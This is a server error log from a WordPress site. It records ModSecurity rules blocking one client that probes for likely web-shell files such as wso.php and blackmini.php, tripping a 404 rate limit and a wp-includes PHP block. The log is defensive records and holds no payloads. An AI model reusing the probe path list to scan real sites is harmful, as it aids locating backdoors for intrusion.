[Sat Feb 28 00:59:43.153843 2026] [:error] [pid 38586:tid 38598] [client 20.220.196.236:43311] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aaHNf7_i6nvKNhjFW7UsUgAAAQk"]
[Sat Feb 28 00:59:43.568974 2026] [:error] [pid 38586:tid 38590] [client 20.220.196.236:43921] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aaHNf7_i6nvKNhjFW7UsVQAAAQE"]
[Sat Feb 28 00:59:43.981199 2026] [:error] [pid 38586:tid 38592] [client 20.220.196.236:43968] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aaHNf7_i6nvKNhjFW7UsWQAAAQM"]
[Sat Feb 28 00:59:44.411533 2026] [:error] [pid 15099:tid 15134] [client 20.220.196.236:43924] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aaHNgOnvP2vtPjYDq_guAQAAAME"]
[Sat Feb 28 00:59:44.828991 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43889] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aaHNgAP6I7SRqrhh7RriPgAAAUo"]
[Sat Feb 28 00:59:45.243028 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43286] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaHNgQP6I7SRqrhh7RriQgAAAUU"]
[Sat Feb 28 00:59:45.655769 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43991] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaHNgQP6I7SRqrhh7RriRAAAAVI"]
[Sat Feb 28 00:59:46.066980 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43871] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaHNggP6I7SRqrhh7RriSgAAAU8"]
[Sat Feb 28 00:59:46.476725 2026] [:error] [pid 15098:tid 15115] [client 20.220.196.236:43955] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaHNgskFqny8dQQbmTkdugAAAIk"]
[Sat Feb 28 00:59:46.888287 2026] [:error] [pid 15098:tid 15126] [client 20.220.196.236:43856] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hi.php"] [unique_id "aaHNgskFqny8dQQbmTkdvAAAAJQ"]
[Sat Feb 28 00:59:47.301843 2026] [:error] [pid 15098:tid 15123] [client 20.220.196.236:43309] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hi.php"] [unique_id "aaHNg8kFqny8dQQbmTkdvgAAAJE"]
[Sat Feb 28 00:59:47.714675 2026] [:error] [pid 15240:tid 15261] [client 20.220.196.236:43312] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hi.php"] [unique_id "aaHNgy1iKL_41Rk9A9NkbAAAABM"]
[Sat Feb 28 00:59:48.135289 2026] [:error] [pid 38620:tid 38622] [client 20.220.196.236:43929] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hi.php"] [unique_id "aaHNhAP6I7SRqrhh7RriVAAAAUA"]
[Sat Feb 28 00:59:48.550289 2026] [:error] [pid 38586:tid 38608] [client 20.220.196.236:43994] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cong.php"] [unique_id "aaHNhL_i6nvKNhjFW7UsZAAAARM"]
[Sat Feb 28 00:59:48.966753 2026] [:error] [pid 15100:tid 15180] [client 20.220.196.236:43920] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cong.php"] [unique_id "aaHNhEOEbzcINan_ctK3fQAAAFQ"]
[Sat Feb 28 00:59:49.376833 2026] [:error] [pid 15098:tid 15119] [client 20.220.196.236:44021] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cong.php"] [unique_id "aaHNhckFqny8dQQbmTkdxAAAAI0"]
[Sat Feb 28 00:59:49.788213 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:44027] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cong.php"] [unique_id "aaHNhb_i6nvKNhjFW7UsbAAAAQ0"]
[Sat Feb 28 00:59:50.199672 2026] [:error] [pid 38586:tid 38591] [client 20.220.196.236:43963] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaHNhr_i6nvKNhjFW7UscAAAAQI"]
[Sat Feb 28 00:59:50.611139 2026] [:error] [pid 15240:tid 15263] [client 20.220.196.236:43965] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaHNhi1iKL_41Rk9A9NkcgAAABU"]
[Sat Feb 28 00:59:51.025369 2026] [:error] [pid 15240:tid 15265] [client 20.220.196.236:43936] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaHNhy1iKL_41Rk9A9NkcwAAABc"]
[Sat Feb 28 00:59:51.438867 2026] [:error] [pid 15240:tid 15247] [client 20.220.196.236:43283] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaHNhy1iKL_41Rk9A9NkdQAAAAU"]
[Sat Feb 28 00:59:51.849087 2026] [:error] [pid 38586:tid 38592] [client 20.220.196.236:43959] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.wp/wso.php"] [unique_id "aaHNh7_i6nvKNhjFW7UsfwAAAQM"]
[Sat Feb 28 00:59:56.879716 2026] [autoindex:error] [pid 15240:tid 15264] [client 20.220.196.236:43884] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 00:59:57.089076 2026] [autoindex:error] [pid 15240:tid 15243] [client 20.220.196.236:43884] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 00:59:57.294507 2026] [:error] [pid 15240:tid 15248] [client 20.220.196.236:43884] [client 20.220.196.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaHNjS1iKL_41Rk9A9NkjQAAAAY"]
[Sat Feb 28 01:00:12.054511 2026] [autoindex:error] [pid 38586:tid 38613] [client 20.220.196.236:43999] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 01:00:22.121843 2026] [:error] [pid 38586:tid 38605] [client 20.220.196.236:43999] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x123x.php"] [unique_id "aaHNpr_i6nvKNhjFW7Us5AAAARA"]
[Sat Feb 28 01:00:22.534029 2026] [:error] [pid 38620:tid 38639] [client 20.220.196.236:44031] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x123x.php"] [unique_id "aaHNpgP6I7SRqrhh7RrjDQAAAVE"]
[Sat Feb 28 01:00:22.947854 2026] [:error] [pid 15240:tid 15255] [client 20.220.196.236:43843] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x123x.php"] [unique_id "aaHNpi1iKL_41Rk9A9NktwAAAA0"]
[Sat Feb 28 01:00:23.361428 2026] [:error] [pid 38620:tid 38624] [client 20.220.196.236:43786] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x123x.php"] [unique_id "aaHNpwP6I7SRqrhh7RrjEAAAAUI"]
[Sat Feb 28 01:00:23.773734 2026] [:error] [pid 15240:tid 15254] [client 20.220.196.236:44010] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aaHNpy1iKL_41Rk9A9NkugAAAAw"]
[Sat Feb 28 01:00:24.185542 2026] [:error] [pid 38620:tid 38641] [client 20.220.196.236:43906] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aaHNqAP6I7SRqrhh7RrjIAAAAVM"]
[Sat Feb 28 01:00:24.598518 2026] [:error] [pid 15100:tid 15160] [client 20.220.196.236:44012] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aaHNqEOEbzcINan_ctK3pwAAAEA"]
[Sat Feb 28 01:00:25.012092 2026] [:error] [pid 15099:tid 15135] [client 20.220.196.236:43962] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-michan.php"] [unique_id "aaHNqenvP2vtPjYDq_guGgAAAMI"]
[Sat Feb 28 01:00:25.427264 2026] [:error] [pid 15100:tid 15166] [client 20.220.196.236:44007] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw2.php"] [unique_id "aaHNqUOEbzcINan_ctK3rAAAAEY"]
[Sat Feb 28 01:00:25.839249 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43880] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw2.php"] [unique_id "aaHNqQP6I7SRqrhh7RrjKwAAAU4"]
[Sat Feb 28 01:00:26.249810 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:43907] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw2.php"] [unique_id "aaHNqgP6I7SRqrhh7RrjLQAAAUk"]
[Sat Feb 28 01:00:26.662898 2026] [:error] [pid 15100:tid 15174] [client 20.220.196.236:43848] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw2.php"] [unique_id "aaHNqkOEbzcINan_ctK3sAAAAE4"]
[Sat Feb 28 01:00:27.084935 2026] [:error] [pid 15099:tid 15147] [client 20.220.196.236:43870] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blackmini.php"] [unique_id "aaHNq-nvP2vtPjYDq_guIQAAAM4"]
[Sat Feb 28 01:00:27.496098 2026] [:error] [pid 15099:tid 15145] [client 20.220.196.236:43966] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blackmini.php"] [unique_id "aaHNq-nvP2vtPjYDq_guIwAAAMw"]
[Sat Feb 28 01:00:27.906474 2026] [:error] [pid 38586:tid 38593] [client 20.220.196.236:43925] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blackmini.php"] [unique_id "aaHNq7_i6nvKNhjFW7Us5gAAAQQ"]
[Sat Feb 28 01:00:28.319484 2026] [:error] [pid 38586:tid 38606] [client 20.220.196.236:43967] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blackmini.php"] [unique_id "aaHNrL_i6nvKNhjFW7Us6QAAARE"]
[Sat Feb 28 01:00:28.732038 2026] [:error] [pid 38586:tid 38595] [client 20.220.196.236:44025] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aaHNrL_i6nvKNhjFW7Us7gAAAQY"]
[Sat Feb 28 01:00:29.145048 2026] [:error] [pid 15240:tid 15263] [client 20.220.196.236:43973] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aaHNrS1iKL_41Rk9A9NkvAAAABU"]
[Sat Feb 28 01:00:29.554850 2026] [:error] [pid 15240:tid 15247] [client 20.220.196.236:43923] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aaHNrS1iKL_41Rk9A9NkvgAAAAU"]
[Sat Feb 28 01:00:29.967556 2026] [:error] [pid 15100:tid 15165] [client 20.220.196.236:43841] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "aaHNrUOEbzcINan_ctK3twAAAEU"]
[Sat Feb 28 01:00:30.379645 2026] [:error] [pid 38620:tid 38643] [client 20.220.196.236:43917] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/F19.php"] [unique_id "aaHNrgP6I7SRqrhh7RrjNQAAAVU"]
[Sat Feb 28 01:00:30.792329 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43844] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/F19.php"] [unique_id "aaHNrgP6I7SRqrhh7RrjOwAAAVY"]
[Sat Feb 28 01:00:31.207294 2026] [:error] [pid 38620:tid 38642] [client 20.220.196.236:43950] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/F19.php"] [unique_id "aaHNrwP6I7SRqrhh7RrjRAAAAVQ"]
[Sat Feb 28 01:00:31.619321 2026] [:error] [pid 38620:tid 38641] [client 20.220.196.236:44005] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/F19.php"] [unique_id "aaHNrwP6I7SRqrhh7RrjRwAAAVM"]
[Sat Feb 28 01:00:32.032000 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:43960] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/F1.php"] [unique_id "aaHNsAP6I7SRqrhh7RrjTAAAAUc"]
[Sat Feb 28 01:00:32.446499 2026] [:error] [pid 15099:tid 15133] [client 20.220.196.236:43320] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/F1.php"] [unique_id "aaHNsOnvP2vtPjYDq_guKQAAAMA"]
[Sat Feb 28 01:00:32.862312 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43872] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/F1.php"] [unique_id "aaHNsAP6I7SRqrhh7RrjUAAAAUU"]
[Sat Feb 28 01:00:33.278595 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43964] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/F1.php"] [unique_id "aaHNsQP6I7SRqrhh7RrjVAAAAU4"]
[Sat Feb 28 01:00:33.687900 2026] [:error] [pid 38620:tid 38641] [client 20.220.196.236:43952] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaHNsQP6I7SRqrhh7RrjVQAAAVM"]
[Sat Feb 28 01:00:34.097622 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43842] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaHNsgP6I7SRqrhh7RrjVwAAAUY"]
